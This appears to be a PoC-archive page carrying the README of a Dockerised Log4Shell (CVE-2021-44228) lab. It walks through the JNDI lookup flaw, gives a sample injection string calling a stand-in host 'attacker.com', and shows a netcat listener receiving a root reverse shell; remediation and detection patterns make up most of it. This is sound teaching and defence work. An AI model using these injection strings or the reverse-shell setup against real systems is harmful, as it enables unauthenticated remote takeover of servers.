Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
Log4Shell (CVE-2021-44228) PoC
Readme
# Log4Shell (CVE-2021-44228) PoC
## Objective
Reproduce, exploit, and remediate a known critical CVE in a Dockerised environment.
This PoC demonstrates [CVE-2021-44228 (Log4Shell)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) in a Spring Boot application.
## 1. Vulnerability Description
**CVE:** 2021-44228
**CVSS:** 10.0 (Critical)
**Affected component:** Apache Log4j (<= 2.14.1)
### How the package works
* [Log4j](https://logging.apache.org/log4j/2.x/) is a popular Java logging library.
* It supports **lookups** (`${...}`) to dynamically resolve values inside log messages.
* One such lookup is **JNDI**, which can fetch values via LDAP.
### How the vulnerability works
* Attacker poisons the victim application with a malicious JNDI lookup string like `${jndi:ldap://attacker.com:1389/a}`.
* The victim application with vulnerable Log4j version evaulates the malicious string during logging.
* This triggers a JNDI request to the attacker-controlled LDAP server.
* The LDAP server responds with a malicious reference to external Java bytecode.
* The victim JVM loads the bytecode and executes it, leading to **Remote Code Execution (RCE)**.
### How the exploit works
1. Victim app logs attacker-supplied input from an HTTP header.
2. Attacker LDAP server responds with a reference to `Exploit.class`.
3. Victim fetches `Exploit.class` via HTTP.
4. Static initializer in `Exploit` runs, spawning a reverse shell back to the attacker.
## 2. Risk
* **Impact:** Unauthenticated RCE - highest possible severity.
* **Who/what is at risk:**
* Any Java application using Log4j <= 2.14.1.
* Internet-facing and internal services that log user-controlled input (e.g., HTTP headers).
* **Consequences:**
* System compromise (shell access).
* Data exfiltration.
* Pivoting into internal networks.
* Evasion of perimeter defenses (attacks via internal services).
## 3. Proof of Concept
### Prerequisites
1. docker + docker-compose
2. netcat
3. make
### Build and start
```sh
make build start
```
### Exploit
1. Start a netcat listener:
```sh
nc -l 4444
```
2. Trigger exploit:
```sh
make exploit
```
3. Netcat receives a reverse shell from the victim:
```sh
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
```
## 4. Remediation
### Preferred fix
* Upgrade to **Log4j 2.17.1 or later**.
* This is the only complete and long-term fix. Earlier versions patched partially but still left exposures:
* [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046): RCE via non-default logging configuration
* [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105): DoS via self-referential lookups
* [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832): RCE via certain JDBC appender configurations
```sh
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
```
### Interim mitigations (if upgrade not possible)
1. Buy time
* Restrict inbound exploit strings (`${jndi:` patterns) with a WAF or middleware.
* Restrict outbound LDAP from application servers with egress filtering.
2. Disable lookups:
```
-Dlog4j2.formatMsgNoLookups=true
```
3. Harden JVM:
```
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
```
### Operational mitigations
1. Audit dependencies and runtime
* Generate an SBOM (`gradle dependencies`, Snyk, Wiz, etc.).
* Search deployed images/servers for `log4j-core-*.jar`, including fat JARs.
* Triage and prioritize mitigations for the riskiest workloads.
2. Monitor & detect
* Watch for exploit attempts in logs (`${jndi:...}`, `${${lower:j}ndi:...}`, etc.).
* Monitor outbound LDAP traffic for callbacks.
* Treat findings as potential compromises, escalate for incident response (forensic investigation, removal of malicious artifacts, rotation of secrets, etc.).
3. Vendor patches
* Track vendor advisories (e.g., Elasticsearch) - many ship bundled Log4j.
* Apply hotfixes or workarounds provided until official patches are available.
4. Strategic Improvements
* Enforce "deny by default" policy for outbound traffic filtering.
* Enforce dependency scanning in CI/CD.
* Formalize response playbooks so teams know exactly what to do during the next "10.0 CVSS" vulnerability.
* Run resilience drills/tabletops to test readiness for a "new Log4Shell-class" incident.
## 5. References
* [Apache Security Advisories](https://logging.apache.org/security.html)
File Snapshot
[4.0K] /data/pocs/c8e8f1b4fa1342019a17b6cb027d2170148ffd2e
├── [4.0K] attacker
│ ├── [ 457] Dockerfile
│ ├── [1.8K] Exploit.java
│ ├── [ 154] go.mod
│ ├── [ 400] go.sum
│ ├── [3.9K] main.go
│ └── [4.0K] payload
│ └── [2.9K] Exploit.class
├── [ 304] docker-compose.yml
├── [1.1K] Makefile
├── [4.4K] README.md
└── [4.0K] victim
├── [ 567] build.gradle
├── [ 264] Dockerfile
└── [4.0K] src
└── [4.0K] main
└── [4.0K] java
└── [4.0K] com
└── [4.0K] victim
└── [3.1K] Application.java
9 directories, 12 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →